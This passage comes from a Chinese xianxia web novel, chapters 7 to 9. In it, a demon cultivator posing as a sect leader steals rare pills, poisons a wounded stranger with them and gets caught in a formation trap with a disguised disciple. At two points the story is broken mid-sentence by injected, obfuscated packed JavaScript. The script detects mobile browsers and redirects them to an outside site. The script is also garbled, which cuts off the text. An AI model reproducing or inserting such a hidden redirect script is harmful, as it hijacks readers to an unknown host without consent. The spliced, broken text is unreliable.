“你本性不坏,为何非要走这一条路?”身后,那男人虚弱的声音再度传来。 她冷笑,转过头,“因为姑奶奶我乐意!” 她讨厌他。 比所有修士都讨厌。 他竟然敢怜悯她。 梦中画面如水波荡漾,袅袅撕碎,袅袅又合,天旋地转,不知道又转到了什么年头,她在长渊城中,为了拜入尉迟无情门下,无妄池与三百魔修共争高下。 尉迟无情修炼魔功炙热,无妄池却是极寒之地,他要能够在无妄池待满九九八十一天的魔修,极寒之息附身入骨,在他身边当他的药人—— 每每尉迟无情功法出了岔子,或者大动干戈之后魔息混乱,这药人都要忍受他传来的热息。 他功法浑厚,这些东西在他身上假说是刀割之疼,那么在修为低的药人身上,就是刮骨之痛。 可即便如此,依然有人抢破了头。 魔城弱肉强食,没有那么多愿意指点功法的前辈,反而多的是落井下石趁火打劫的仇人。 毕竟,尉迟无情又不是天天走火入魔。 毕竟,被尉迟无情一个人呼来喝去,好过在魔城之中任人宰割。 无妄池中,三百魔修,只有十个人待够了九九八十一天。 其余魔修,寒气入体,有些忍受不了自己离开,更多的,还没有反应过来,已经暴毙其中。 “没想到,你竟然能够留到最后。” 尉迟无情将她从池水里捞出来,她颤抖着嘴唇,脑子一片空白。 “你叫什么名字?” “花、花无咎……” 一道浑厚的魔息打入她的身体,护住她的心脉。 “你竟然……”尉迟无情皱起眉头,眼神玩味,“手脚尽断,谁给你接的骨?” “我、我自己……” “谁打的你?” “无、无归门……” “你骨头没有接对,歪了——”尉迟无情一手抓住她的胳膊,另外一掌打下去。 “啊啊啊啊啊啊啊啊——!” 她痛不欲生,从他掌心跌落,滚在地上。尉迟无情居高临下,笑着道:“现在好了。” “无归门谁打的你?” “不、不知道……无归门弟子众多,他们来的人,我也不一一知道名号……” “记打不记仇,丢魔修的脸。” 尉迟无情丢给她一块寻常果核大小的玉石,通体发红。 “这是红莘,带着它修行,事半功倍。” …… 当年的耻辱,她趋之若鹜的宝贝,一时痛苦,一时悸动,传过无妄池水汽凝聚的烟幕,击中她沉眠的脑子。 倏然,花无咎睁开眼。 她抹了一把额头。 汗涔涔。 白映青的房中一片漆黑,有淡雅的香气,缓缓弥散。 早不是当年。 她早不是当年那个蠢货。 在人间好心救人,那人得知她身份,反而通风报信无归门的人过来杀她。 对仙门中人手软,他们却都觉得她包藏祸心。 蠢货。 你跟他们从来都不走一条路,何必在这里假做慈悲? 凡人忘恩负义,仙门假仁假义,你落到他们手里,他们都不会饶过你,凭什么,这个时候你要饶过他们? 花无咎起身,走到桌前,给自己倒了一杯茶喝。 凉茶入喉,脑子清醒一些,却没有冷掉她心中汹涌。 严子玉,不要怪我。 要怪,就怪你自己,干嘛这么想要修仙。 无归门…… 现在她做得还不够。 还要更多。 才能报她当年之仇。 7. 第 7 章 翌日一早,花无咎去了百草堂。 无归门中百草圃是养育仙草的地方,百草堂则是专门炼制草药的地方。 百草堂说是堂,实则占地广大,其中炼丹房隐蔽在山中地势低矮之处,藏宝阁则坐落在炼丹房更后面。 藏宝阁位置隐蔽,是只有一层高的大殿,一层有普通卧室五倍之大,放一些寻常的补药和伤药,房子东面的墙上挂着一幅画 ,画像挪开,里面是一道门。 从这道机关进去,可以通往地下三层。 花无咎在里面翻来覆去,终于找到了无归门传说中的修炼至宝—— 金玉丹。 金玉丹能够生死人肉白骨,还能够助长修为,逆天改命。 制作金玉丹要用的一味必不可少的材料叫金玉草,这草天生娇贵,养它一株,周围的草都活不了,气温骤升骤降,这草也一样要死,需要宗门之中专门有人看护,在它旁边注入仙力屏障。 金玉草长五十年,毒性消失,才可以入药。 即使有了能够入药的金玉草,制丹成功的几率也极低。 无归门自开门立派以来,一共只炼出来两枚。 这药仙气重,她不敢吃,吃了估计也没用——她不差功力,只是不会催动罢了。 无归门的人吃了也不行——尤其是她那个徒弟,本身天资就好,吃完更要是要翻天。 花无咎取走丹药,独自往山下走。 *** 彩玉镇。 山脚石头边一条小道,枝垭横生,这道走的人不多,也不是主路,又狭又短,长出来的草一会儿茂一会儿断,越往外面,杂草和树就越高,几丈之外,甚至看不清这里还躺着个人。 那人身高八尺,头发凌乱散落在头面,人侧躺在地上,天刚下过雨,雨水还没有干透,湿淋淋的泥土和灰尘都卷在了他身侧和袖口,脸上,那也是瘢痕点点。 仔细看,竟然不是泥,而是还没有结痂的伤口。 不仅脸上,全身上下,这人露在外面的肌肤,就没有一块好肉,要么是被人用刀划伤,要么是被生生剜掉一块肉,空当当的一个缺口。 “咳、咳、……” 游同方抹了把嘴角的血,拿到眼前一看。 血呈深褐色,里面毒性已经扩散。 下雨之后,浑身上下的隐痛一齐发作,一些虫豸也鬼鬼祟祟在耳边窸窣,游同方肩膀一痒,伸手拍了一下。 立马掉下来一条死掉的蜈蚣。 身上一动,浑身都疼得发麻,即便如此,他仍然用力撑地站起来,走到最近的树边靠着,打量地势。 如果他没有猜错,这里应该就是无归门地界。 仙门之中,无归门虽然差其他上首宗门越来越远,但门主白映青雅名在外,无归门帮扶弱小,相较其他仙门,无归门的人愿意救他的概率更大。 但是…… 天不遂人愿。 他迷路了。 准确来说,无归门山门设有阵法,如今他修为低微,灵力尽失,完全探查不到阵法一丝一毫的踪迹。 游同方心下绝望,浑身的痛都下去两分,他攀着树,尽量寻找枝干多,石块多的路——往往要掩人耳目,都需要树木作为阵门的入口。 一阵狂风刮来,噗通一声,游同方倒在地上。 尖锐的巨石磕着他的肩膀一直往下,划破了本就轻薄的外衫,在他背部留下一道长长的血口。 “啊啊啊啊啊——” 突然之间,山石相掩之处,走出来一名白衣女子。 游同方仰躺在地上,那女人走出来一步,似乎没瞧见他,伸脚就踩在了他的手掌上。 “呃啊啊——!” “咦!”那女人抬起来脚,低头去望他。 游同方满心怒火,无奈身体有恙,发作不出来,再一见那女人的脸,更是消散了只剩三成。 那是一张怎样的脸啊。 再美一分则多了妖冶,再钝一分则少了魄人,目光泠泠如冰川未化,身姿倩丽又不失端庄。 “你……”游同方心神震荡,刚一开口又哑巴上。 “你什么呢?”那女人顿了顿,横眉一竖,方才那股端庄浑然不见,“咯了姑奶奶的脚不知道道歉吗?” 游同方急火攻心,撑着手要从地上爬起来,不诚想肩膀被人狠踹一脚,重新重重地砸倒在地上。 “啊!” 那女人蹲下来,目光从头将他扫到脚,尤其在手腕上缺掉的一块肉上,停留了许久。 “丑八怪,”女人伸手在游同方脸上比划了两下,“出门不照镜子吗?吓到我了,赔钱。” 游同方气得浑身发抖,可身上无力,只觉得打也打不过,再跟她作对,也不过平白受辱,冷笑一声。 “要钱没有,要命一条。” “呵呵,”女人站起身,从身上掏出来一个瓷瓶,“我知道你来无归门干嘛。无归门门主白映青,阿猫阿狗收多了,每隔几天就有你这种想撞大运的。” 游同方愣了一下:“什么?” “白映青新捡了一个受了重伤的弟子,无归门上下都知道,收徒大典上,她一个好苗子都没收。隔三差五山脚下都要出现一个你这样的,还演呢?” 那女人一脚踹又踩上他心口,不知道从哪里掏出来一柄剑,寒光一闪,剑尖直指游同方的喉咙。 “不得不说,你是他们当中最有新意的一个。”女人上下又开始扫他的脸和露在外面的肢体,“丑得还怪可怜的。” 游同方痛呼一声,两眼翻白。 他后背之前中了一剑,刚刚止住血,他躺着的地方也不平坦,上面高,枕着一块石头,下面低,身体往中间蜷缩,后背的肌肉拉直绷紧,一脚下去火上浇油,直接把本来已经快结痂的伤口又崩裂开。 血从后背汨汨流出来,顺着脊骨,染透了后背贴着的衣裳。 “咦……还真是受伤了。” 那女人一点也没有帮他一把的意思,甚至还更加用力的踩了踩,仿佛他是个什么机关,按下去试试深浅。 更多的血流了出来。 “你杀了我吧……”游同方哑着声音,许多要骂的话都没有骂出口,只想要求一个痛快。 菩萨面孔,魔鬼心肠。 “落在你手里,算我命不好。”游同方心中恐惧,声音也不由颤抖。 他身体已经是强弩之末,刚才走那两下,本来还以为找到阵法,本来还抱有一线希望,找到一个问路之人…… 没想到…… 那女人脸上神色莫测,良久,淡淡笑了。 “你想要求死,我就行个善事,送你一程。”那女人收起来剑,脚尖向上,滑动到他的脖颈。伸手从袖中掏出来一个瓷瓶。 瓷瓶外表光滑剔透,瓶口莹莹发光,似乎还是某种法器,打开之时,里面飘出来一股若有似无的寒气。 “这里有两枚丹药,吃下去,你不会立刻死。相反,你的伤口会逐渐好转,你会感觉到你的功力日渐回转,甚至更上一层楼。” 那女人将两枚丹药倒在掌心,那丹药通体带着金色荧光。 看着他的脸,那女人又笑了:“但是,你越觉得你的功力增长,你中的毒就越深。到最后,你的身体会承受不住丹药蕴含的灵气,爆体而亡。” 女人顿了顿,又道:“同时,在你死之前,你会受万蚁噬骨之痛,三天三夜,你求生不得,求死不能。” 好歹毒的女人! 游同方心中绝望,怒火又起,拼着最后一股力气想要逃跑,没想到那女人直接扒开他的嘴,将两枚丹药一起喂了进去。 “你到底是什么人!”游同方猛扣喉咙,什么都没有抠出来。 “我是什么人?我就是无归门掌门白映青。” “荒唐!”游同方大呸一声,扯得全身伤口发疼,忍不住嘶了一声,气息又弱下去,“无归门掌门高风亮节,且心肠良善,怎么可能做这种卑劣小人行径!你定然是魔道中人!” “呵,”那女人手掐住他的脖子,“魔道中人。不然你想想,我一个魔道中人,怎么会有胆量出现在这里?” 游同方一时哑口。 “我知道,你想问,我不怕你说出去吗?我喂了你毒药,天知地知,你知我知,你去外面讨公道,有人会信你吗?” 那女人脸上笑意更深,眼中却莫名一股森然之气。 天山归雪无还路,白衣除恶天下知。 除了白映青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219374|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,天底下谁还有这等风姿。 天底下的魔修对无归门避之不及,怎么可能光明正大出现在这里? 游同方背后发寒,脸色已经不能叫惨白来形容了。 “你……你为什么要这么做?!” “没有为什么。想这么做,就这么做了。”花无咎站起身,瓷瓶收进袖中,拍了拍手,“狼要吃羊,有为什么吗?我就喜欢看有人求生无路,无处叫冤。” “你、你……” “别你你你了,丑八怪,遇上我,算你运道不好。你要怪,就怪老天爷,不要怪我。”花无咎伸手往南边一指,“从那里出去,可以最快下山。明早之前,再让我看见你留在这里,别怪我手下无情。” 说完这些,花无咎转身就走。 走了一半,她转过头,见那男人在看她,跑回去又踩了他肩膀一脚。 “啊啊啊啊啊——” “看什么看,再看,把你眼睛挖出来。” 丢下这句话,花无咎掉头就走。 那男人身上的伤不轻,金玉丹虽然能够养好他的伤,但也不会朝夕之间就令他痊愈,两枚丹药吃下去,就算他是个门外汉,一脚也差不多能够跻身仙道中流了。 白映青在仙门之中声誉斐然,他必然不敢在外面张扬是非,否则就是自找麻烦。 如果她是他,既然知道自己最后的结果是爆体而亡,那么一定会赶在这之前,来报今日之辱。 花无咎一边盘算一边往回走。 等这人修炼到家,她早就金蝉脱壳,烂摊子都丢给了无归门。 再则,曲剑宗宗主的侄子,白水牢里面那位,此人心胸狭窄,肯定会添油加醋,唆使曲剑宗上门报复。 等到时机成熟,她就偷偷将他放走…… “门主!” 花无咎刚走到主峰的广场,身前一道人影飘过,挡住了她去路。 “江长老。”花无咎冷静神色,负手立定。 “门主,属下今日清点藏宝阁,那两枚金玉丹,不翼而飞了!” 不翼而飞个屁,不就是来兴师问罪吗? 她今天光明正大进藏宝阁,肯定有人看见,过去跟他通风报信。 “不必惊慌,是我拿的。” 赶在江兴运发作之前,花无咎很快又道:“最近山门之外,经常出现一些重伤之人,上天有好生之德,既然被我撞见,救他们一命也无妨。” 江兴运眼前一黑,浑身都麻了,差点就要倒下去。 花无咎上前将他肩膀捉住,一本正经地关心:“江长老,你没事吧?” “门主……”江兴运竭力睁开眼,浑身气血都跑走了一样,脸色苍白,嘴唇颤抖,“金玉丹可是我派至宝,您、您、您,我 、我、我……” 金玉丹不止是无归门的至宝,更严重一点说,它就是无归门的一张招牌。 天下宗门,无不炼丹。但是其中门道,各自有各自的说法,譬如有的宗门喜欢剑走偏峰,爱炼制一些烈性的丹药,这种丹药能够快速增长修为,但是很容易有副作用—— 换句话说,吃不好,反而伤到根本。 另外一类丹药,性温,不过药性就差。 看各个宗门炼制的丹药,也是宗门实力的一种体现,毕竟人又不是物件,用坏了就换,无归门能够在仙门之中占有一席之地,还包括独门的炼丹技巧。 金玉丹既能够快速增长功法,还不会留下任何遗弊。此丹一出世,别说仙门,就连魔道也赫赫有名,为之一惧。 拿金玉丹去救一个普通凡人,就跟把玉玺丢给一个乞丐差不多。 “门主……您,您糊涂啊!” 江兴运脑子发懵,许多话倒不出来,一出口就是冒犯。 花无咎将掌一抬,悲悯道:“我知道你要说什么,可是仙师之命,跟凡人之命有什么差别吗?见死不救,非我门之道。这药放在这里,不用也是浪费——” “咚”。 江兴运一头栽倒在地上。 花无咎思索片刻,叫来两个弟子,将江兴运带到药堂里面。 离开药堂之前,花无咎步子一拐,决定到南宫明渡住的那间屋子去看一眼。 她又有了一个绝妙的主意。 8. 第 8 章 南宫明渡身体无碍,就是被司空风弄得这出整得浑身不是滋味——扮伤对他来说不是问题,问题是,他如今身份是个走投无路的凡人,说话做事,比之前假扮的那两个“天之骄子”更要收敛。 说话太硬气,吃穿太讲究,都容易叫人看出端倪。 低声下气,谨小慎微,才符合此人所遇之境。 每每进来一个名不见经传的弟子,他都要叫人仙师,诚惶诚恐地谢来谢去。 花无咎推门进来,不痛不痒地关心了南宫明渡几句,接着让人给他专门找了一个房间,离白映青其他徒弟很近,等这些都吩咐打点完,她再道—— “为师近日繁忙,没有时间手把手教导你。而且,入门的心法和功法,为师来教,其他人来教,都没有什么差别。” 南宫明渡思索片刻,没感觉到其中有什么端倪,继续柔弱道:“一切听从师父安排。” 走出房间,花无咎又找来白映青的二弟子易彤,把房门关上,对她吩咐—— “为师近日收徒一事,想必你已经有所耳闻。此子天赋极高,但正是如此,恐怕不知道问道之难,看起来也不像能够吃苦的人……” 花无咎沉声肃道:“为师决定让你去教他入门。你可随意考察他,给他设障,若不合适,早日将他驱逐出去,反而是件好事。” 易彤点头称是,旋即退下。 打点完一切,已近天黑,花无咎梳洗一番,舒舒服服躺上了床。 万无一失。 她特意强调此人“天赋高”,易彤必然心生嫉妒,若这个徒弟下手狠一点,折磨到这个凡人崩溃,早早就会知难而退。 要是没有退,也没有关系。 反正不过是入门的功法,他再怎么练,也不会练出来名堂。 而她,也可以一直这样拖着,不主动传授那个小子功法。 ——仙门的玩意儿,她自己都没摸明白,还去教别人呢。 花无咎满意地闭上眼。 过了一会儿,她心头一跳,又睁开眼。 之前武镇渊来找她汇报过门派经营的产业,无归门有些家底,普通的灵药和兵器管够,在凡间经营有道,门派又不奢侈铺张,积攒了不少钱。 本来,她的计划是找个法子将这笔钱掏空,但—— 江兴运今天的反应太过,她短时间内已经做了太多不循规蹈矩的事情,暂时还是不要轻举妄动。 *** 两个月后。 翠竹林。 “这一招日贯长空,你已经学到九成了。更多的,我已经没有办法教你了。” 漫天竹叶之中,南宫明渡收起剑,转身走向易彤:“师姐?” “师父那里,我已经替你问过。虽然你剑法学得不错,但是她觉得还有所欠缺,至于欠缺在哪里,师父没有跟我讲。本来我计划教你三个月的剑,现在既然你已经练成,我就不再看着你了。” 易彤想了想,又补充道:“师父这么说,一定有她的道理。你千万不要多想。” 南宫明渡点头称是,转身继续练剑。林中竹叶茂盛,被他的剑气惊扰,漫天又开始飞舞,隔远了看,便看不清楚他的面容。他一边练着剑,一边还分着神,笔走龙蛇的时候偷瞥一眼四面八方,直到确认易彤已经离开,整个竹林再没有别的人,方才停下来。 这样连着练了好几天,他确认易彤不再看着他了,一天傍晚,他收起剑,沿着竹林往东南方向的坡走。 这两个月时间他已经查探过,无归门中藏宝贝的地方有两个,一个是幡梅堂,专门藏一些功法秘籍。 另外一个,就在这座竹林最上面,因殿外有许多大树,越往上面风就越大,尤其无归门冬季终日覆雪,风雪交加,树响不止,取名铃音阁。 据易彤说,铃音阁是无归门的禁地,里面藏着什么东西,众说纷纭。有人说里面关着某位曾经祸害一方的魔修,有人说里面放的是稀世兵器,还有人说里面有许多的金银珠宝—— 最令人信服的,还是稀世兵器这个说法。 能够进入这里的只有门主,连同长老在内,想要进铃音阁,都要跟门主请示。 花无咎吃完饭溜达,看到的就是一个鬼鬼祟祟的人影以极快的速度往山上猛窜,刚好落日黄昏,风大,撩起来一片又一片的竹叶,视野之中更加模糊不清,花无咎还没来得及顾虑按照白映青的身份该不该叫,就已经叫出了声。 什么玩意! 花无咎第一个反应是什么野兽,无归门本来就在山上,天寒料峭不说,地势地形也十分复杂,有什么野兽翻山越岭,从一些人迹罕至的小径偷摸过来,也不是没有这个可能。 那身影就在这个时候停了下来,花无咎定睛一看,好像是个人,本来她已经运气完毕,打算凭借在白映青这个身体里唯一能够玩得转的飞行之术溜之大吉,但她装白映青太久,一旦有人出没的地方,简直就好像生理反应一样—— “什么人?!”花无咎两脚定在原地,双手负在身后,立马从刚才的惊慌状态转为老神在在,风过拂面,扬起来她额前一缕碎发,更显得她临危不乱。 南宫明渡转过头,看到的就是在竹林下方,两块长得歪七扭八的巨石旁边,一个容貌昳丽的白衣女子神情冷漠,目不转睛盯他背影。 刹那之间,南宫明渡认了出来。 他那个两个月都没有见过他一眼的便宜师父。 无归门门主白映青。 “师父?” 思忖片刻,南宫明渡转身往后走了两步,人从相互掩映的竹子之中钻了出来,刚才错乱的竹枝再挡不住他的脸,花无咎被那声“师父”也喊得有些懵,好半晌,回过来神。 “严……咳,子玉?”花无咎本来对这个凡人就有一些心虚,无归门派出去的人始终没有抓回来那个魔修,白映青这个门主一点也不好当,天天宗门各种杂七杂八的事情都要交给她来处置,她对无归门又不甚了解,能拖就拖,不能拖的绞尽脑汁,也只能随便拿个办法。 总之,她自己都屁股着火,哪来的闲工夫去管别人。 但是,人越是心虚,往往就越需要脾气很大,先发制人,免得别人来问东问西。 “你在这里做什么?”花无咎理直气壮走过去,上下扫着南宫明渡。 南宫明渡身着内门弟子的校服,头上一顶青色玉冠,青玉莹润,上面有一个凹刻的小山图案,指头大小,是宗门之物。手中一柄长剑,剑鞘没有雕刻太多的花纹,只有剑柄的位置有一个方形的印记,总之,他穿的这身,手里边拿的东西,都平平无奇,没有新意。 可是,正是夕阳将下,天边绯红色的云来来回回在天上流动,不算刺眼的光从云层之中倾斜而下,刚好柔柔地照着他半张脸。 此人眉目算不上有多么精妙绝伦,可那一双眼睛,就透着这么点光,二分柔,五分傲,还有三分神秘,加上一袭被夕照笼得半真半隐的白衣,墨黑发丝轻垂腰间,将花无咎看得怔了一下。 南宫明渡拱手道:“徒儿在林中练剑。” 花无咎回过神来,觉得自己竟然差点被一个小弟子唬住,实在荒谬,反过来戏谑:“跑得挺快啊。” 南宫明渡脸色不改:“全赖易彤师姐悉心教导。” 花无咎意味不明道:“你两个月时间,跃地飞行之术就能够练成这样,果然天资过人。” 飞行之术分为三种,一种是不需要借助任何外力,纵身拔地而起,这种飞行之术虽然最快,但是如果不清楚前方地形地貌,尤其是到了路障较多,杂草丛生,密林深处,料峭陡崖,乃至沼泽,反而容易自找麻烦。 因此有了第二种飞行之术,即跃地飞行。这种飞行之术,虽然看起来总是借力,但实际上并不是第一种飞行之术简单到哪里去,十分考验身法和功力。 第三种飞行之术,则是贴墙飞行,这种飞行之术需要借力,比较适用于隐蔽行迹——譬如要去追踪什么人,你一蹦三尺高,那人一眼就能够看见,早吓跑了。 这三种飞行之术,不存在谁比谁高,谁比谁低,没有火候,一般练不成刚才那种肉眼几不可见的虚影。 经过了前面两次试探,这句话听在南宫明渡耳朵里,意味又不一样,他心头一紧,面上还是跟刚才一样,状若平常,“师父过誉。” “我记得,练剑的地方不是那下面吗?”花无咎伸手往南宫明渡站着的最下面指过去,他站着的位置,已经快要到坡顶,这里路不算好走,没有像平常供人通行的路一样,草拔得干干净净,土也重新平过。 弟子们练剑的地方,都是选的最平整的一块地,门内长老专门用剑砍过路,从哪儿过去,往哪儿出去,顺着砍平的地方看,明明白白。 反而往山上走的路,崎岖不说,也没有道路向引,树丛更密,枝芽乱长,所以恍然过去一个影,才叫人惊吓。 “是徒儿觉得山上风景好,所以想要上去看看。”南宫明渡垂着头,他一边讲话,一边伸手往山上指去,“徒儿在人间的时候常常听人说,好景总在陡峰。徒儿刚刚学了一点本事,不知道天高地厚,只是贪慕这世上美景,所以往山上乱走。” 这番说辞找不出来毛病,简直非常识得进退。 花无咎仔细一想,好像也没有什么可以发火的地方—— 毕竟人家也不是故意吓她。 这徒弟别的不说,看起来还挺好说话的,比宗门里面其他人更让人放心——至少,所有人当中,只有他是最晚进宗门的,他根本没有见过真正的白映青是什么样,又怎么会察觉出来什么不对呢? 她完全不需要跟这个徒弟避开。她这样老是躲着,可能反而蹊跷。这样想着,花无咎反而朝南宫明渡走近一些:“为师在门中事务繁忙,没有顾及到你,你心中可有埋怨?” 南宫明渡低眉顺目道:“徒儿不敢。” 花无咎道:“咳——既然刚好碰上了,不如为师陪你一起看看风景。” 南宫明渡跟在花无咎身后半步,一边走,他一边拿余光打量白映青,他仔细回想了自己刚才说过的所有话,顺便回忆起自己自进宗门之后的所有言行,始终,他摸不准自己到底有没有出篓子,白映青又到底想要做什么。 黄昏最后的一点光已经从天边漾了下去,山林之中风声一阵儿起,一阵儿平,砂砾灰尘,有时候也伴着风,一起往两人脸上吹。 花无咎吃饱了撑的,就想要散步消食,顺便跟这个十分不熟的徒弟表现一下自己作为师父的责任,南宫明渡跟着溜达了一刻钟,两个人往铃音阁的方向越来越近。 直到已经快能够看见铃音阁前面的一座小狮的时候,南宫明渡终于发现了不对。 密林之中风声比刚才变了。 风从东边来,吹过去西边,风来风往,吹在脸上虽然会时而大时而小,但不可能声音断断续续,好像有什么屏障一样,刚好有风撞过去,闷在那里,出不去。 这里有阵法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219375|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 南宫明渡心下一紧,四周查看,没有放过周围任何蛛丝马迹,刚好就在此刻,在花无咎身前半步的距离,一块成年男子巴掌大小的灰色石头动了一下。 那石头藏在树根之中,看起来跟周围的石头没有什么不同,而更奇怪的是,风吹过来,偏偏周围所有石头纹丝不动,偏偏它动得厉害,就好像被人拍了一个大大的巴掌,猛地往外面倒。 就是这一点异常,让南宫明渡顺着那块石头周围所有石头的分布疏密,低头查看了自己所在的位置。 林中草密,树长得也比其他地方更乱,光本来就微弱,到这个时候,影子乱糟糟的叠在一堆,跟着地面上上那些石头和草一起乱动—— 竟然这些草下面埋着的都是石头,大的有巴掌大小,小的也不过他一个指节,各自堆叠在一起,围绕成一个更大的圈,无数的圈像花瓣一样,挨着靠着,整个密林之中,白映青站着的地方就是“花蕊”。 南宫明渡脚步一停,身体已经准备转身要退,眼睁睁看着花无咎恍若无察,继续往前走,刹那之间回过神—— 这是白映青的测试! 她知道这里有阵法,如果他真是凡人,那么他绝对看不出来,也躲不过去。 白映青怀疑他! 就是刚才—— “你两个月时间,跃地飞行之术就能够练成这样,果然天资过人。” 她不相信一个凡人能够在这么短的时间之内能够将飞行之术熟练到这个地步。 南宫明渡脸色一凛,不闪不避,佯作无察,按照刚才本来要迈的那一步走下去,与此同时,花无咎的脚终于走到了花蕊正中心的位置,就在此刻,忽然一阵狂风起,原本在地上浅埋着的石头全都飞了出来。 花无咎抬起来头,只见无数的小石头已经摇摇晃晃飞升到了半空之中,狂风打着旋,这些黑不溜秋的小玩意也跟着风的方向一起卷得不知天地为何物,花无咎两眼一黑,后知后觉自己干了什么蠢事—— 无归门的阵法! 这里是无归门禁地。 她仰头往山上去看,只见到最高处的位置已经显露了一头白玉狮子,狮子脖子还挂着一条红绳,红绳上面系着一个牌,牌子是什么,花无咎看不清楚,但她完全知道这是什么地方。 铃音阁。 据说这里面藏着宝贝,又据说这里面藏着已经被封印的魔修,花无咎最怕后面这个,魔修出来,只要跟她过上两招,马上她这个无归门门主的身份就保不住。 这里会有阵法,理所应当。 这种禁地人人都能够去,那不得乱套成什么样了? 南宫明渡已经站在了一片“花瓣”的中心,石头从四面八方过来,专门往他脸上砸,他身体反应得极快,本来已经转身躲开,但马上回过来神,只躲开那些起速快,边角锋利的石头,一些小石头,边角圆润光滑,砸过来没有那么疼,他就硬生生全部接了下来。 花无咎刚好练得飞行之术,借着白映青的功力,拔地而起,那些不长眼的石头追着她往天上去,但是起势太慢,还没有追到一半,就这么从半空之中悉数掉了下去。 突然之间,密林之中南北两个方向的树开始移形换影,刚才的来路竟然直接被一棵树给挡住,堵成了完全的死路。至于前面本来可以通往铃音阁的路,现在则出现了一块人高的巨石,石头从地底缓缓钻出来,动静极大,连带着整片地都在颤动,直到整个大石完全钻出来,呼啸声才逐渐停下,一股难以言说的臭味席卷而来。 南宫明渡不幸被最后一颗石头击中,侧身往地上一倒,刚好倒在了花无咎的身后,他哽着脖子,声音沙哑中带着无措,“师父,这是怎么回事啊?” 怎么回事你瞎吗?! 心里这么想着,花无咎仍然没有忘记自己如今身份,从天上按照自己从前已经练习过上千次的角度翩然下降,双手背在身后,目光卓然,眼神依然淡得可怕,好像一切尽在指掌。 她正绞尽脑汁思考要怎么解释现在的情况——毕竟身为一个宗门的老大,堂堂无归门门主,传说中那位“天山归雪无还路”的本尊,竟然会看不出来门派中的阵法,还差点被暗算,实在是太丢脸了。 风沙就在这时候完全停掉,前面那座挡掉去路的石头没有消失,身后那些树也没有回归到本来的位置——甚至谁也说不清楚,到底现在是它们本来的位置,还是刚才是它们本来的位置。 花无咎完全的迷茫了,她分不清楚如今所处的地方,到底是因为阵法,还是本身这里就有什么幻术。 如果是幻术的话,究竟他们从什么时候进入到这个幻术的范围之中呢?如果是阵法,最大的可能,这是阵法,幻术往往需要人在背后操控,还要天时地利人和,可是—— 她根本不懂阵法! 南宫明渡从地上爬起来,踉踉跄跄地走到花无咎的身后,虚弱地咳嗽两声,再道—— “师父,我、我们好像被困在这里了。” “为师怎么会被困在这里。”花无咎淡淡一笑,伸手拍了拍自己身上刚才被乱卷的狂风拍过来的沙尘和干草叶子,慢条斯理地整着自己被风弄乱的发丝和袖子,最后继续负手而立,卓然翩翩,“这是为师给你的考验。” 花无咎伸手指了指地上那些没有章法乱躺着的石头,再指了指两边已经被封住的来去之路。 “接下来的时间,为师不会给你任何一丁点帮助。你要自己想办法从阵法里面出去。” 9. 第 9 章 正是傍晚,最后一缕天光收拢于云层之中,酝荡的绯红彻底隐去,阵法之中仰天看去,一片幽深的墨蓝。 花无咎在原地找了一块看起来相对干净的大石靠着,南宫明渡一个人在阵法之中走来走去,刚才移形换位的树木大概就是这个阵法的边际,每走到这些位置,南宫明渡都会拿剑向外砍上两下。 没有一次意外,剑没有砍出去,好像一道无形的屏障,挡住那把剑的威势,直到砍到上山那一条路,通往铃音阁之前必经的一条窄径,一棵两丈高的大树被剑气挑动,树叶疯狂从枝头没有章法地下坠,冒出来最远的一节树枝“咔嚓”断在地上。 阵内陡然一阵罡风,花无咎被吹得差点从石头上面滑下来,她倏然转头去看风来的方向。 “师父!”南宫明渡指着断掉那一节树枝留在树上的根节,声音惊恐,“这、这是怎么回事?!” 只见断枝冒出来珍珠大小的血豆子,那血豆子看着像是水珠,但外边又好似有一层包衣,豆子一颗颗从树根上落到地上,沾染到灰尘,也没有一颗破掉,就这么在地上顺着地势低洼的地方骨碌碌下滚。 与此同时,那棵树好像被刺痛了一样,连根带冠止不住的颤动起来,由慢到快,震响不止,最后竟然那棵树藏在地里盘根错节的根系也快要拔地而起。 罡风就在此刻更盛,南宫明渡剑都快握不稳,那棵树竟然开始发出声音,“嗡嗡——嗡嗡嗡——嗡嗡嗡”,好像一位老人,中期十足正在骂人,多听两句,似乎不是胡乱在叫,像其中有什么节律。 “师、师父,现在怎么办?!” 作为嚣张了上百年的魔道之主,南宫明渡当然不懂什么阵法,开玩笑,他要杀人,从来不需要布阵,他入了阵法,也从来不需要费劲心机找什么生门死门——反正动错了死门,也没见真杀得死他。 严子玉一介凡人,绝无可能懂得这些玩意,他何必费力去演。白映青要考他,她自己都入了这阵,到时候也不可能对他见死不救,反正,乱砍就对了。 那罡风打着旋从地上卷起,花无咎站起来走了两步想要看地上是什么在滚,那风就跟浪一样,层层叠叠将她的双腿打得颤动,她一个趔趄差点往边上摔倒。 那棵妖树就在此时全部从地里钻了出来,一股浓烈的恶臭又开始发酵,随着风卷的方向很快弥散到整个阵法之中,花无咎一面努力站稳一边去捂鼻子,树的枝干咔嚓全部掉了下来,越来越多的血珠子从树根往外冒。 数不清的树枝顺着罡风,从下往上,直到在阵法之中聚集成队,唰地一下全速向南宫明渡和花无咎袭来。 “师父小心!” 